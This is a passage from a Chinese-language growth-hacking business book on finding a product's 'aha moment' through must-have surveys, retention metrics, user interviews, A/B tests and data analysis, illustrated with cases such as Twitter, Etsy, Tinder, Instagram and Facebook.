品太棒了，让人爱不释手并忍不住跟朋友分享。\n因此，要确定应该什么时候开始快节奏的增长黑客过程，方法很简单：问一下自己，你是否知道用户“啊哈时刻”的点在哪里？新产品通常都是为了创造一个让用户无法抗拒并且能够满足一大批用户切实需求的“啊哈体验”。有时候一切都会按计划推进，一旦人们开始使用产品，他们就会经历这个“啊哈时刻”，然后会把产品推荐给几个朋友，口碑传播便从此开始。但是在很多情况下，实现一个与众不同的“啊哈体验”并不只是提供产品然后满怀希望地等待成功降临那么简单。\n有时候，一个产品并没有提供真正意义上的“啊哈体验”，仍需要进一步的产品开发。但也有时候，产品已经具备了提供“啊哈体验”的元素，接下来要做的就是更有效地引导人们发现它。人们常常是在使用一个产品一段时间之后才会真正发现它的“啊哈体验”，或者他们必须要使用了某个功能之后才会充分地体验到“啊哈时刻”。例如，推特在创立初期时一度难以维系增长，直到它通过大量的用户数据分析发现，那些很快关注了30人以上的用户比其他用户活跃度高得多，而且更有可能留下来成为长期客户。之后推特增长团队便深入挖掘为什么关注30个人会成为一个拐点。他们发现，能够持续地看到感兴趣的人发布的状态和更新正是这些人的“啊哈时刻”。而关注30个人恰恰提供了持续的更新，使推特成为这些人眼中不可或缺的服务。\n同样地，在我们曾经一起共事的网站调查公司Qualaroo，我们发现，试用调查服务的用户中收到50份或更多回复的用户在试用结束后付费订购的可能性比没有收到50份回复的用户高出两倍。在这个情况下，50份回复就是创造“啊哈时刻”的要素，能够让用户看到我们的产品如何为他们提供新的、有价值的用户反馈。再来看看斯莱克（Slack）的例子，这是一个旨在取代企业电子邮件线程交流的团队群聊产品，也是有史以来增长最快的企业应用之一。数据显示，当团队成员彼此发送并接收的信息达到2 000条时，团队将斯莱克作为主要沟通工具并升级到带高级功能的付费版本的可能性会大大增加。2 000这个数字似乎就是使用户深刻认识到斯莱克所提供的优于邮件的团队沟通价值的临界值。\n一个产品的“啊哈时刻”有时候可能难以确定。很有可能出现的情况是，你发布了一个产品之后，由于增长乏力便断定产品根本不存在任何“啊哈魔力”，而事实上有些用户可能已经深深爱上了这个产品。所以在确定产品是否具有令人惊叹的潜力时，关键的一步是通过挖掘用户数据与反馈，以寻找那些真正热爱你的产品的用户，然后分析这些用户在使用产品时有哪些相似之处，从中摸索他们从产品中所获得的其他用户可能没有获得的价值。有时结果会像推特那样发现30个人的临界值，但也有时候你的发现会指向进一步的产品开发，甚至会对产品重新定位或重建。\n不过，虽然如何使产品实现“啊哈时刻”可能是一个很难回答的问题，但是确定你的产品是否满足基本要求并不需要详细复杂的分析，我们的建议是分两步进行一个简单的评估。\n产品的不可或缺性调查\n第一步是肖恩设计的一个简单的调查。在他整个硅谷职业生涯中，他一次又一次地证实这个调查是衡量用户是否喜爱一个产品的十分可靠的方法。这份不可或缺性调查从下面这个问题开始：\n如果这个产品明天就无法使用了你会有多失望？\na）非常失望\nb）有一点失望\nc）不失望\nd）不适用——已经弃用产品\n对于调查结果的解读也十分简单。如果40%或者更多的回复是“非常失望”，那就意味着产品已经获得了足够的不可或缺性，也就是说团队已经具备了全力驱动增长的条件。\n然而，很多产品都达不到40%的门槛，在这种情况下，增长团队必须先找到反馈不够理想的原因。如果25%~40%的受访者回复“非常失望”，那么团队所需要的往往只是对产品做一些微调，或者调整描述产品及用法所使用的语言。如果“非常失望”的回复不到25%，可能现有的用户并不适合你的产品，或者产品本身需要更具实质性的开发才能展开增长攻势。\n在这种情况下，不可或缺性调查还需要包括其他一些问题，以便帮助你确定下一步工作：\n1.如果本产品无法使用了，你会用什么替代产品？\na）我很可能不会用其他产品\nb）我会用：______\n2.本产品给你带来的主要价值是什么？\n3.你向别人推荐过本产品吗？\na）否\nb）是（请说明你是如何描述它的）\n4.你认为哪种人最能够从本产品中受益？\n5.我们该如何改进本产品以更好地满足你的需求？\n6.我们是否可以通过邮件跟进，邀请你对回答做出进一步说明？\n关于替代产品的问题可以帮助你锁定主要竞争对手，经常也会为你指出竞争对手可以提供而你的产品所不具备的体验，可能正是这种体验使用户对其青睐有加。这一反馈可以用来确定你应当增加、改进、大力宣传或突出显示的功能，以赢得用户的喜爱。\n关于主要价值的问题可以帮助你发现为实现这一价值你或许应该增加的功能。如果产品已经具备这些功能，这个问题也可以指引你测试新的营销语言以更好地向用户传达这个价值。从用户对是否向别人推荐过产品这个问题的回答中，团队可以衡量产品是否具备口碑营销的潜力以及探究如何最大限度地发挥这一潜力。更为重要的是，用户向朋友描述产品时所用的语言会帮助你了解他们所看重的产品价值和功能以及你在产品推广时应当使用的话语。\n关于哪类人最能从产品中受益的问题能够帮助团队锁定更加清晰的客户群，从而更有效地向他们推荐产品。例如，在摩根所在的公司英曼，最近推出了一个针对房地产从业者的培训产品，他们就向该产品的用户提出了这个问题，而用户的回答指出，他们认为这个产品特别适合新入行的房产经纪人。于是，摩根的团队利用这一反馈改进了他们的营销和广告的受众定位，把目标主要锁定在这一潜在的客户群。\n关于产品改进的问题能够帮助团队发现阻碍产品获得广泛使用的主要问题，也能够凸显公司自身可能没有想到的产品改进机会。\n调查的目标群体\n显然，调查时受访的用户数量越大，调查的可靠性就越高，信息量也越丰富。对于调查的第一个问题，你至少需要收集几百份回复才能保证调查的可靠性。\n如果你的产品试用用户的规模还不足以提供这么多份回复，你就应该更多地依靠客户采访，因为如果只有几十份回复，你可能会得到错误的信息。\n调查的目标群体最好是活跃用户而不是“休眠用户”，因为从不再使用产品的用户那里获得的反馈往往没有很大的用处，他们很可能会回复说他们没有从产品中受益，他们也没有向别人推荐产品，甚至可能根本不会回复。相比之下，活跃用户会对产品或服务更加了解，因此往往也能够给出更加具体翔实的回答。\n需要注意，我们建议只将不可或缺性调查用于确定你的产品是否已经具备核心价值。一方面，因为当你的产品已经获得增长，向客户询问如果产品不存在了他们会做何感受可能会让他们以为你们要叫停该产品，这可不是个好主意。试想如果脸谱网向用户发送这样一个问题用户该有多么惊慌失措？另一方面，在这一“诊断阶段”结束之后，你对于客户体验质量的调研和测试会变得越来越精细，随着数据的累积，评估也应当越来越注重量化。基于你所积累的用户产品使用数据，你需要更加具体地分析在用户体验中人们喜欢和厌恶的不同元素，以便确定下一步的改进策略。\n衡量用户留存\n评估不可或缺性的第二种方法是看用户留存率，即在一定时间内继续使用产品或者付费使用产品的用户比例。我们将在本书后半部分更加详细地说明如何利用留存率分析来指导增长试验，但是一般的经验是，你需要获得比竞争对手更高的留存率，并且维持这一水平。要评估产品是否获得了稳定的留存率，团队应当密切跟踪流失用户人数，通常是关注每周或每月的数据。用户流失一般难以察觉，特别是在新用户获取势头强劲的时候，而经常性的监测能够为用户流失提供预警。一家公司可能在获取大量新用户的同时也在失去很多早期用户，这样的流失很可能被新用户增长数据掩盖。团队不应将稳定的用户留存率视作一个达到之后就能一劳永逸的基准，必须持续地付出努力以维系留存率。而且事实上，团队应当努力提高留存率，这是驱动增长的最有效手段之一。但是在早期阶段，最为关键的是保证留存率的稳定，因为它意味着你已经获得了一批认可产品价值的用户。\n留存率通常都按月计算。对于移动应用和社交网络甚至快餐店和便利店等经常使用的应用，团队可能需要每周甚至每天统计留存率。如此短的时间周期可以帮助你推算，与偶尔使用的用户相比，有多少用户已经将使用该产品作为一种习惯甚至日常生活的一部分。\n不同类型的业务或产品有着不同的留存率，所以最好能够以行业内有足够可比性的成功产品作为基准。如果可能的话，最好取一个平均值作为参考，以确定产品的表现。例如，根据移动分析公司Quettra发布的数据，大多数移动应用在安装一个月之后都只能留住10%的用户，而最好的应用能够留住超过60%的用户。\n图2–1 安卓应用的用户留存曲线图\n资料来源：Quettra\n像SaaS（软件即服务）这样的商务产品的境况就好得多了。太平洋浪峰证券公司（Pacific Crest）在2013年开展的针对私营SaaS公司的调查显示，这些公司的用户留存率高达90%以上。连锁快餐店每月的用户留存率在50%~80%。例如，78%的麦当劳顾客在2012年的每个月都会光顾该餐厅。一份2013年的研究发现，美国的信用卡公司每年的客户流失率约为20%，而欧洲的移动通信公司的流失率在20%~40%。\n成为不可或缺的产品\n如果你的产品通过了这些测试，就说明相当多的客户已经经历了“啊哈时刻”，那么是时候开始快节奏的增长试验了。但如果你发现产品还没有实现不可或缺性，那么你需要做的第一件事就是别再思考一个看起来再正常不过的问题：有什么你还没有使用但是可能会使产品更具吸引力的功能？虽然听上去在办公室里用白板和最聪明的员工讨论改进产品的想法是解决问题的正确方式，但请相信我们，这个直觉并不会对你有所帮助，你需要做的是和用户交流，并且是与前面提到的调查相比更深层次上的交流，以便了解阻碍你的产品成功的真正因素和障碍是什么。否则，你可能会将非常有限的资源和时间浪费在非常昂贵且错误的事情上，比如部署一个毫无用处的功能。虽然增加新功能看起来是改进产品最直接的办法，但事实上，每一个产品开发者都应当警惕特性蔓延（feature creep）的危险，也就是增加越来越多并不真正创造核心价值的功能，而且使产品变得更难以使用。在很多情况下，改进的关键在于做减法而不是做加法。正如Yelp所做的那样，他们进行了功能的删减，将用户评论作为产品的核心。\n因此，必须采用分析手段找出“啊哈时刻”没有实现的原因以及如何才能实现，而不是单纯依靠主观臆测。为此应同时采取下列三个措施。\n• 开展更多的客户调查，包括采访和实地调研，真正与客户和潜在客户交谈。\n• 针对产品改动和信息传达进行高效试验。\n• 深入分析用户数据。\n在进行这些诊断分析时，团队应根据每个成员的专长分配工作。营销人员和产品设计人员的专长可以用于采访和调查工作；工程师知道如何落实产品改动以及如何在产品中设置试验；数据分析师知道如何更深层次地分析用户行为，提供比现成的分析程序提供的基本指标数据更深刻的洞察。接下来我们将逐一介绍每一个步骤应如何开展。\n走进用户的现实世界\n用户开发领域的创新先驱史蒂夫·布兰克强调说，无论你在哪个行业，你都需要走出办公室，了解你的用户真正希望从你和你的产品中获得的是什么。网络上可以找到开展用户采访的诸多资源，不论你选择哪一个，在采访的时候最重要的一个原则就是要对你的产品保持客观、中立的态度。如果你在整个过程中一直尝试推销产品，那么你获得的反馈将会毫无价值。你需要做的不是宣传，而是倾听和观察。\n同样需要谨记的是，事实胜于雄辩。最佳做法是带上产品或者原型去实地采访，这样你就可以真正看到潜在用户会对它做出怎样的回应。这一过程可能会帮你发现你原本以为设计得非常简单易用的功能实际上可能过于复杂甚至用户并不感兴趣，也可能会帮助你发现意料之外的问题。用户甚至可能会提出十分宝贵的产品改进想法，而这样的想法也许是你和你的团队完全想不到的。\n电商平台Etsy的经历正是如此。Etsy是为个人或小型手工艺品公司打造的手工艺品买卖平台。它现在已经成功获得了IPO，融资超过2.87亿美元，估值超过10亿美元。可见，公司创始人提出的这个商业想法满足了不少人的需求。但是这一需求并非一直像今天这般显而易见，事实上，Etsy的早期增长主要是靠“地推”拉动的。正如其品牌与社区增长黑客丹尼尔·马维尔所说，Etsy“做了很有意义但是常常被人忽略的一件事——从互联网上走下来”。\nEtsy派员工去全国各地参加手工艺品展销会，与潜在卖家交谈，邀请他们入驻网站，也与他们的客户交谈，在这个过程中，Etsy发现了“针织群体”的网络力量。这个群体主要由女权主义手工艺者组成，而她们正是推动手工运动发展壮大的主力军。Etsy挑选了一些有影响力的艺术家、手工艺者和复古收藏者并邀请他们共进午餐，以了解他们的动机，即售卖过程的哪一个方面对他们来说最为重要，以及什么样的“啊哈时刻”才能说服他们加入Etsy。Etsy不仅说服了他们中的很多人在网站上开店，也协助他们在网站上打造了一个社区——社区正是他们认为最为重要的体验。Etsy了解到，很多手工艺者都有共同追捧的刊物，比如女权主义杂志Bust，还有一些关于手工的博客，于是公司决定开设网上留言板，以加强社区建设。Etsy的社区论坛不仅成为卖家了解如何提高销量的渠道，而且成为新卖家的招募平台，也成为女权主义手工运动的一个大本营。\n发展初期地推式的市场开发对Etsy来说至关重要，不仅帮助它的团队成员发现了打造不可或缺性的必要条件，也引导他们制定了下一步推动增长的策略。这一策略的中心是构建自然发展的、口口相传的网络社区，而不是开展大规模传统又昂贵的市场营销。Etsy团队根据早期用户反馈，着眼于开发帮助卖家提高销量的工具和资源，比如刚才提到的论坛以及“卖家手册”博客，也通过开发工具和发展合作伙伴帮助卖家改进客户沟通、订单管理等各个方面的业务。他们也在卖家商店页面和商品页面设置了各种社交网络分享链接，使卖家和潜在买家可以在其脸谱网、博客和Pinterest上分享这些定制的手工艺品。\n正如一位分析师所写，Etsy在获客上“几乎没有花一分钱”就实现了快速增长，最终获得IPO。即便在最近几年，社交媒体、邮件营销、自然搜索等自然增长渠道仍然占据了Etsy 87%~91%的流量，而付费广告仅占2%~7%。这种实地走访的做法非常成功：到2014年底上市之前，Etsy的会员人数已经超过5 400万，销售额达到了19.3亿美元。\n约会交友应用Tinder是另外一个通过走进现实世界、巧妙利用既有网络获得增长的产品。尽管面对来自其他多家颇受欢迎的交友网站的激烈竞争，Tinder仍然实现了飞跃式发展，月活跃用户在短短30个月中飙升至2 400万。\n然而，Tinder在获取早期用户时遇到了Etsy没有遇到的挑战——人们只对附近区域的约会对象感兴趣，而手工艺者和他们的客户之间的交易不受距离的限制，即使他们位于世界不同的角落也没有关系。Tinder团队做出了一个聪明的决定，既然用户是区域性的，那么他们的增长计划也应该是区域性的。他们决定先锁定大学的兄弟会和姐妹会，因为这些社团之间的联系十分紧密，这可以帮助他们迅速推动口碑传播，也因为这些社团的成员有着很大的影响力，不仅为Tinder团队提供了具有指导意义的研究对象，也提供了非常有吸引力的早期用户，帮助他们把Tinder打造为高颜值约会对象的聚集地。Tinder团队的元老级成员惠特尼·沃尔夫就曾经实地去大学校园给姐妹会做演讲，吸引她们成为Tinder用户，并且通过即时的面对面交流获得真实用户的反馈。之后沃尔夫便会走到路对面的兄弟会向男生们介绍新加入的姐妹会成员，可想而知，要说服这些男生加入就不是什么难事了。Tinder就这样迅速地打造出了本地的约会网络。\n用户增长非常强劲，自然而然地突破了最初的市场界限。创始人肖恩·拉德回忆说：“那是一月份左右，在那之前我们获得了很多大学生用户，之后他们回到家里向他们的兄弟姐妹和朋友聊起Tinder。突然间，Tinder便像病毒一样迅速地传播开来。”他们并没有在打广告或获取邮箱列表上投入很多成本，而是聚焦于核心用户群，这样也使他们可以灵活地对产品进行调整，不断尝试用户喜爱的功能。但是倘若他们最初没有实地走访、深入了解初期核心市场，就不会取得今天的成功。\n寻找受访群体\n当然，我们也可以在网上对现有用户群体进行调研，以了解如何实现“啊哈时刻”。贝宝和易贝就是典型的例子。贝宝刚刚推出时，其团队注意到他们初期的固定用户中有不少是易贝上的买家和卖家，于是，他们决定先了解这些用户是如何使用贝宝的以及如何才能使更多类似的人使用贝宝。他们收到了一个易贝卖家提出的将贝宝的图标添加到物品拍卖页面上的请求，这引起了他们的关注，于是他们开始研究人们在易贝上对贝宝的使用。当时，易贝卖家无法使用信用卡收款，而与支票和汇票相比，他们当然更希望能够马上收到钱款，所以他们自然很乐意将贝宝作为买家付款的优先方式。贝宝团队通过分析易贝上的大量拍卖交易试图了解卖家如何使用贝宝，包括他们如何展示并在他们的拍卖页面中说明贝宝的付款方式。贝宝团队也浏览了易贝讨论区里卖家的反馈和想法，从中了解卖家的需求。根据这些反馈，贝宝团队开发了前文提到的自动链接，这个工具能够使卖家把贝宝图标添加到他们所有的卖品页面上，而且还附上一行文字，鼓励买家注册并使用贝宝支付。这个方法极为成功，甚至使易贝也意识到了贝宝对于其自身增长所起到的作用并最终收购了贝宝。\n现在，各种网络平台丰富多样，不管是像脸谱网和Instagram这样的大型社交网络，还是苹果和谷歌的应用商店，或是WordPress（博客平台）和Meetup（线下聚会网站）上各式各样的群组，都可以用来寻找你的核心受众。通过这些平台你可以寻找产品的潜在初期用户，或许你的产品恰好可以解决他们面临的某个问题，同时，通过他们的反馈你也可以确定你的产品是否为他们提供了“啊哈体验”。\n开展调查和采访可能看上去太浪费时间，但事实上，你很可能只需要为数不多的调查回复和几次采访就能够获得十分明确的用户洞察。你可能也不必询问太多问题，往往几个基本的问题就足够了。例如，在推特，乔西·埃尔曼的团队针对沉寂一段时间又重新开始使用推特的用户只问了四个问题：（1）您一开始为什么会注册推特？（2）您为什么弃用推特？出现了什么问题？（3）是什么原因让您又回到推特？（4）这次是什么让您留了下来？\n研究发现，开展焦点小组座谈过程复杂、效果不尽如人意且费时费力，但是像我（肖恩）在LogMeIn做的简单的用户调查开展起来并不麻烦，不需要任何技术知识，而且这样的简单调查使我们发现了非常重要的信息——用户不相信LogMeIn是免费的。在大多数情况下，你只需要几百份调查回复就能够大致了解你在数据分析中发现的用户行为背后的动机，而这样的发现能够帮助你找到真正的增长机会，从而引导你推进增长试验过程。\n快节奏的试验\n成本低、易使用的分析工具和网络营销技术的发展使产品和信息传达测试变得非常容易，通过这样的测试你可以找到客户群和功能的完美组合，打造不可或缺的产品。有的试验可以很快开展，也非常容易，几乎不需要任何技术知识和成本投入，而更具实质性的试验则可能需要耗费不少金钱和时间，特别是需要工程师开发新功能或者对产品进行大幅度重新设计的时候。团队对于试验的选择和决定必须十分严格。大多数增长团队都采用了最小可行测试（minimum viable test, MVT）的做法，也就是充分验证一个想法所需要的成本最低的试验。如果测试取得理想的效果，团队就会再进行一个更全面的后续试验，或者对于同一个概念采取更完善的执行方式。\n快节奏的试验是增长黑客过程的硬性要求，为做到这一点，团队应当运行一个恰当的试验组合：既有较复杂的产品改进试验，也有很容易执行的信息传达和营销试验。我们会在接下来两节详细介绍这两种试验类型。\n改进信息传达方式\n肖恩在帮助LogMeIn实现增长时发现，有时候阻碍增长的并不是产品或服务本身没有价值，而是向既有和潜在客户传达这一价值的方式不对。好在随着网络营销的兴起，改进信息传达方式已经不是什么难事，即便对于非网络产品，增长团队也能够以低成本甚至零成本很快改变信息传达方式并加以测试。\n其中一个特别有效且成本很低的方法是A/B测试，即在两个及两个以上随机选择的群组中测试两种不同的信息传达方式，比如网络简报所用的两个标题，或者着陆页的两种不同设计方案，以此确定哪一种能够获得更优的用户反应。这样的测试有时可以帮助你发现十分简单却有效的改进方式，比如修改邮件的标题、调整按钮上的文字，或者改变网络表格中的表达方式。以客户关系管理软件Highrise为例，这个软件是Basecamp（基于云服务的项目管理软件）为补充其广受欢迎的项目管理软件功能而推出的。通过注册页面的A/B测试，他们发现只是将文字从“注册并试用”改为“查看购买方案与价格”就给他们增加了200%的注册量。这看上去可能是个很罕见的案例，但其实并非如此。在我们合作过的公司，我们亲眼目睹了数百个类似的案例：通过实施A/B测试所发现的非常简单的改变，这些公司成功为客户创造了“啊哈时刻”，从而实现了用户的大幅增加。\n随着此类试验的价值日益凸显，Optimizely和Visual Website Optimizer等在线网络A/B测试平台纷纷推出了新的工具，使企业可以以更低的成本、更少的投入在它们的网站上设置试验，并且不需要工程师的帮助。这些产品使任何负责网站管理的团队成员能够快速对标题、标语、图片、视频、按键等内容运行A/B测试，既提高了测试的效率和灵活性，同时也使工程师能够专注于更加实质性的产品测试。\n不过需要注意的是，A/B测试工具虽然容易使用，但是它们提供的数据存在一定的局限性，因为这些工具依赖的是比较表面的衡量标准，比如哪个按钮的点击量更高，而不是点击按钮的人最终是否成了固定用户。这就好比看到一篇“标题党”新闻，忍不住点进去之后却对内容大失所望，这样的点击率显然无法体现长期的客户忠诚度。为解决这一问题，数据分析必须能够在任何A/B测试中跟踪测试对象从点击到长期使用整个过程的行为。\nA/B测试也不应仅限于语言、着陆页设计或市场推广。应谨记，增长黑客的一个核心原则就是对客户体验漏斗的整个过程开展试验，不仅包括客户认知与获取，也包括客户激活、客户留存、变现与自传播。例如，在英曼，摩根的团队通过对他们的付费新闻订阅服务的定价和期限进行A/B测试，决定将按月订阅的方案替换成为期三个月的订购方案，结果大大提高了留存率。\n工程师有时能够对漏斗底部的测试提供非常宝贵的想法，而漏斗底部往往具有更高的技术复杂性，也常常是非技术人员关注不到的领域。例如，我们在上一章提到，Pinterest增长团队的工程师为了大幅提高试验速度开发了Copytune机器学习程序，用30种语言的副本向用户发送无数封邮件进行测试，以提升用户留存。这正是多变量测试（multivariate test）的一个例子，即不仅仅是对比两个选项，而是对比信息的每一个元素的每一个可能的版本以寻找最优组合。再比如“多臂赌博机”模型（multi-armedbandit），这是一个更加复杂的测试方式，可以更快地找到最佳方案。我们会在本书后半部分详细地介绍更多测试类型。\n针对产品的试验\n对产品本身的改动是更加复杂的一类试验，通常需要工程师做大量工作。虽然这类试验主要存在于互联网和软件产品，但是它同样适用于实体产品。构建最简单的产品原型然后让用户试用、制作视频或计算机演示以展示产品的新功能，同时观察客户的反应，这正是负责实体产品的团队利用试验的两种可能方式。\n在试验时，应优先测试那些经之前的经验证实能够优化结果并改进用户体验的改动，比如提高网络购物车的响应速度或者优化注册过程。而其他诸如大幅度重新设计或者开发新的产品功能等在实践中应用较少的改动只有在假设十分具有说服力的情况下才应该进行测试，而且这种假设应当是在充分的用户调研和数据分析之后得出的。换言之，对于耗时耗力的测试，团队应当通过严密的论证将风险降到最低，并且在开展规模更大、风险更高的试验的同时也应运行一些更稳健的测试。如此团队才能够确保在野心勃勃的赌博和按部就班的改进之间保持平衡，从而使产品获得可持续的增长。\n深挖数据\n如今，增长团队可以获得的数据比以往任何时候都多，但是如果没有能力从中提取有价值的信息，再多的数据也毫无用处。也就是说，增长团队要做的并不是审视各种工具和报表提供的数据。若想了解如何使你的产品变得不可或缺，你就需要收集合适的数据并将诸如邮件营销数据库和销售点系统等不同来源的数据整合起来，形成一个完整的数据图谱。然后你需要一位数据分析师来深入分析这些不同来源的数据，从中发现规律和洞察，从而提出值得试验的增长思路。如今，大多数公司，即使是最年轻的、小本经营的创业公司，都在密切跟踪它们的网站和产品的基本分析数据，比如谷歌分析提供的数据。虽然页面浏览量、访问量和跳出率等指标非常重要，但是它们并不能全面地反映客户与产品之间的互动情况。这是因为它们都是非常表面的指标，并不能说明客户真正重视的是产品的哪一方面，也不能体现你是否已经实现了产品—市场匹配。\n你的团队应该掌握的不仅仅是用户访问网站的频率和时长，而是用户体验各个层面的数据，并对这些数据进行细致入微的分析，以了解人们如何使用你的产品以及这与你对产品的计划有何出入。这意味着营销人员、数据科学家和工程师必须通力合作，在网站、移动应用、销售点系统、邮件营销和客户数据库中加入合适的数据跟踪设置。有了合适的跟踪功能之后，团队必须对不同来源的用户信息加以整合，以获得全面、充分的用户行为数据，以便数据团队进行分析。\n你需要构建的是一个所谓的“数据湖泊”（data lake）或者“数据仓库”（data warehouse）：一个储存所有客户信息的独特应用，可以让你真正深入挖掘并发现可能对产品的使用方式不同于其他人的用户群。这能够让你在单个用户的层面探索产品的使用情况，比如观察一个非常活跃的用户在你的网站上或者用你的App做些什么，或者一个本来准备下单但最后没有点击结算按钮的用户最后做了些什么。可能你会看到他正要下单时突然被跳出的促销信息吸引了过去，这样的信息对于一个用户来说可能无关紧要，但可能会引导你发现值得进一步分析和实施增长试验的领域。如果数据得以有效收集，数据分析师也能够更加轻松地向团队说明快节奏增长试验的结果。\n跟踪活跃用户的行为\n收集并分析数据的第一步是跟踪用户或客户的关键行为，这可以通过事件跟踪来实现。大多数分析平台都能够在你的系统中跟踪关键事件，比如用户点击某个按钮、观看某个视频、下载某个文档、填写某张表格、播放某首歌、添加某个好友、分享某个文件等。同样，增长团队必须跟踪客户在整个客户体验过程中的各种活动，即他们从访客成为新客户，再从新客户成为固定忠实客户的过程中的各个事件。你是否能够跟踪客户从第一次到访你的实体店或者网站到第一次购买再到后续多次购买的整个过程？如果中间有断开的环节，这些环节的事件可能就是你现在需要开始跟踪的。\n这个阶段的主要任务是寻找那些认为你的产品不可或缺的客户，即频繁使用或购买你的产品的人，并发现他们不同于其他客户之处。具体来说，分析师应当寻找最活跃的用户最经常使用的功能以及他们在与产品交互过程中的任何其他特征。可以根据不同的客户属性对客户数据进行分类，比如所在地区、年龄、性别等人口信息，或者职业、所在行业、使用的移动设备等其他属性，此外还应按照他们使用产品的不同方式分类，比如是超级用户还是只是偶尔使用，然后再根据这些分类分析他们所做的不同选择，比如他们购买了哪些产品或者使用了哪些服务。据此你将会发现这些属性和行为与更高额的购买、更活跃的参与和更长期的使用之间的关联。例如，网飞通过分析客户观看的电影和节目发现凯文·史派西的电影和政治题材的电视剧都非常受用户欢迎。这一发现给了网飞制作电视剧《纸牌屋》（House of Cards）的信心，这部电视剧不仅轰动一时，也成了很多网飞用户不可或缺的体验。\n同样，商务智能公司RJMetrics的团队发现那些在试用期间使用其软件编辑图表的用户和没有尝试这一功能的用户相比，转化为付费客户的可能性要高出一倍，而且当试用用户编辑了两份图表时，这一可能性就更高了。那么RJMetrics接下来做了些什么？他们在新的使用演示中把编辑图表设成了关键一步。\n重新定位产品\n这些特别的行为和偏好有时可能难以发现，这在一定程度上是因为它们太出人意料了。虽然听上去有些自相矛盾，但事实是我们常常不知道自己在寻找什么，直到找到了才知道。例如，Yelp发现其最活跃的用户之所以喜欢这个网站是因为他们可以在网站上写评论，它的团队之前并不知道需要利用评论吸引用户重复使用产品，而这一发现得益于对不同来源数据的分析。如此出人意料的发现恰恰说明我们需要在数据采集上投入更多，也需要快节奏、坚持不懈的增长黑客试验。试验得越多，可以分析的数据也就越多，而分析的数据越多，能够发现的规律也就越多。\nInstagram也是十分具有启发性的一个案例。这个如今大受欢迎的照片分享应用的前身是一个叫作“Burbn”的基于位置的社交网络，它是以创始人凯文·希斯特罗姆最喜欢的酒精饮料Bourbon（波旁威士忌，省去了几个字母）命名的。但是希斯特罗姆承认，他自己也知道最初的产品太复杂了。或者正如凯斯·索耶在他的《Z创新：赢得卓越创造力的曲线创意法》（ZigZag: The Surprising Path to Greater Creativity）一书中所说，“太多功能堆在一起反而让人困惑”。好在希斯特罗姆坚持不懈地分析数据，试图了解用户对产品的使用情况。他发现，产品中的很多功能完全无人问津，只有一个例外：照片。希斯特罗姆和联合创始人迈克·克里格意识到，拍摄并分享照片正是用户的“啊哈体验”，而他们需要围绕这一体验对产品进行重新设计。正如索耶在书中所写，“迈克和凯文看到了将Hipstamatic（广受欢迎的照片编辑应用）和脸谱网的功能结合起来的机遇，也就是开发一个简单易用的照片分享社交应用。他们砍掉了Burbn除照片、评论和点赞之外的所有功能”。精简之后，他们重新发布了产品并更名为Instagram。在获得了4亿用户并由脸谱网以10亿美元收购之后，这个公司仍然势头强劲，截至2016年一季度，它每年的广告收入高达10亿美元。\nInstagram并不是唯一一个基于详尽的数据分析确定“啊哈时刻”从而在创立初期对发展方向做出180度大调整并取得成功的公司。Pinterest是另外一个，它的前身是一个叫“Tote”的移动电商应用，后来才转型成为一个发现并分享灵感的网站。因为本·西尔伯曼发现，Tote的用户并没有像预计的那样在应用里购买产品，而是将从中看到的喜欢的产品收藏起来。基于这一发现，西尔伯曼改变了思路，设计了一个使用户能够在网上轻松展示这些珍贵收藏的应用。布莱恩·科恩是西尔伯曼的第一位投资人，他说这一重新定位是“他（西尔伯曼）从第一个产品中吸取经验教训之后得到的结果”。而如果他没有分析活跃用户是如何从应用中获取价值的，重新定位也就无从谈起。\nGroupon的早期版本也是一度濒临失败，但是对用户行为的密切分析引导创始人安德鲁·梅森对产品重新定位，从而使Groupon获得了迅速发展。Groupon的前身是一个叫作“The Point”的筹资网站，可以为各种事情、各类群体众筹，人们可以在网站上为某个筹资项目提供资金，而筹资项目只有在足够多的人加入时才会向所有人开放。但是产品推出后反响寥寥，情况糟糕到梅森差点退回投资人的所有资金。但是，在分析数据之后，他们发现那些给予用户优先与优惠购买权的筹款项目是最成功的，于是Groupon团队根据这一发现对每天的筹资项目进行设置。梅森为此还提出了一个口号：“建立你的Groupon.com。”公司就此实现了腾飞。\nYouTube也有类似的经历。虽然如今很难想象，但是YouTube最初是一个视频约会网站，之后创始人发现用户上传视频资料并不只是为了寻找约会对象，而是为了分享各式各样的视频，于是YouTube摇身一变成为大型视频网站。联合创始人贾伟德·卡里姆说：“用户走在了我们前面。他们开始用YouTube分享各类视频，比如他们的狗、假期等。我们觉得这很有意思，所以我们说，为什么不让用户来定义YouTube呢？到了6月份，我们已经对网站进行了彻底的改造，使它变得更开放、更广阔。这使我们大获成功。”\n所有这些重新定位的案例都说明，在投入大量财力物力开展增长攻势之前，必须要收集并分析用户行为的定性和定量数据以及他们对产品优缺点的反馈。如果这些公司在重新定位之前就展开增长攻势的话，可能今天我们就不会知道它们的名字了。因为它们很可能不会获得爆发式的增长，而是将宝贵的时间和金钱浪费在推广一个并非让用户觉得不可或缺的产品上。\n当然，深入的客户行为数据分析可能也会告诉我们，也许并不是产品或服务本身或者信息传达的方式有问题，而是产品投放到目标市场的方式。HubSpot的经历就是一个例子。它的产品是企业客户关系管理和营销软件。通过严密的用户数据分析，它发现一开始就接受了产品培训的用户留存的时间比没有接受培训的用户长得多。于是它转变了销售策略，将付费产品培训作为新的客户体验的必要环节。\n当时，要求客户在购买一个软件之后再付出额外的成本接受产品培训并不是人们通常认为的最佳实践。各家公司都担心增加软件购买的成本将会使一些对价格比较敏感的用户转身离去。但是HubSpot团队相信他们的数据分析，果断推行了产品入门培训。这就像卡马斯·帕里哈比提亚所说的，增长团队要努力破除关于产品和市场的一些错误认识，基于实证推动增长。结果，HubSpot的客户群获得了迅速增长，公司也在2014年成功上市。\n实现“啊哈时刻”\n注意，所有这些试验和分析过程都应聚焦于发现你所提供给客户或能够提供给客户的“啊哈时刻”。一旦确定了创造“啊哈体验”的条件，增长团队就应将注意力转移到如何尽快使更多客户体验到这一时刻上。在脸谱网，增长团队发现用户的“啊哈体验”是在网站上添加越来越多的朋友所带来的兴奋感（数据显示，在前10天添加了至少7位好友的用户最可能成为活跃用户），于是他们马上开始把所有精力放在网站设计上，通过调整网站设计促使用户在网站上添加更多朋友。他们对网站所做的最重要的改动之一是更新了“新用户体验”（NUX），以专注于帮助新用户寻找朋友。最初版本的新用户体验中寻找朋友的环节只是整个用户使用引导的一部分，现在则成了最重要的环节。增长团队做了无数次试验，一点点剥离新用户起始页上的无关信息，聚焦于如何帮助新用户迅速搭建自己的社交网络，比如导入个人邮箱通讯录以寻找已经在使用脸谱网的朋友。团队也利用了脸谱网